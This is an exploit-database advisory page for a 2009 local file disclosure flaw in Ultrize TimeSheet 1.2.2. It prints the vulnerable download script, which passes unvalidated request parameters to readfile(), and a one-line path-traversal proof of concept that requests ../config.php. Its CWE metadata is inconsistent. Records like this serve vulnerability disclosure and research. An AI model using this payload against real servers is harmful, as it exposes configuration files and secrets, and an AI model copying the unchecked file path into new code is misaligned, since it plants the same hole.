Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

vendor:

TimeSheet

by:

milw0rm.com

7,5

CVSS

HIGH

Local File Disclosure

434

CWE

Product Name: TimeSheet

Affected Version From: 1.2.2

Affected Version To: 1.2.2

Patch Exists: YES

Related CWE: N/A

CPE: a:ultrize:timesheet:1.2.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

Ultrize TimeSheet 1.2.2 is vulnerable to a local file disclosure vulnerability due to insufficient validation of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This will allow the attacker to read arbitrary files from the server.

Mitigation:

Input validation should be performed to ensure that user-supplied input is properly sanitized and does not contain malicious code.

Source

Exploit-DB raw data:

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability
Code page  /actions/downloadFile.php

====
<?php
//** This script performs the actual file download

$fileName = $_REQUEST['fileName']; <--!!
$job_id = $_REQUEST['job_id']; <--!!
$fullFile = $config['upload_dir'].$job_id.'/'.$fileName; <--!!

if (file_exists($fullFile))
{
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".filesize($fullFile));

    header('Content-Disposition: attachment; fileName="'.$fileName.'"');

    readfile($fullFile); <--!!
}
else
{
    header("HTTP/1.0 404 Not Found");
    print "<h1>File not found. </h1>";
    print $fileName;
    print "<hr>Please make sure your file paths are correct: {$config['upload_dir']}/{$job_id}/$fileName}<br />";
}

?>
====

Poc
/actions/downloadFile.php?fileName=../config.php

          .___________..______     ____    ____  ___       _______   
           |           ||   _  \    \   \  /   / /   \     /  _____|  
           `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __    
               |  |     |      /      \_    _/ /  /_\  \  |  | |_ |   
               |  |     |  |\  \----.   |  |  /  _____  \ |  |__| |   
               |__|     | _| `._____|   |__| /__/     \__\ \______|   
                                                             
       ___       ______     ___       _______   _______ .___  ___. ____    ____   
      /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   /   
     /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /    
    /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/     
   /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |       
  /__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|  

# milw0rm.com [2009-07-30]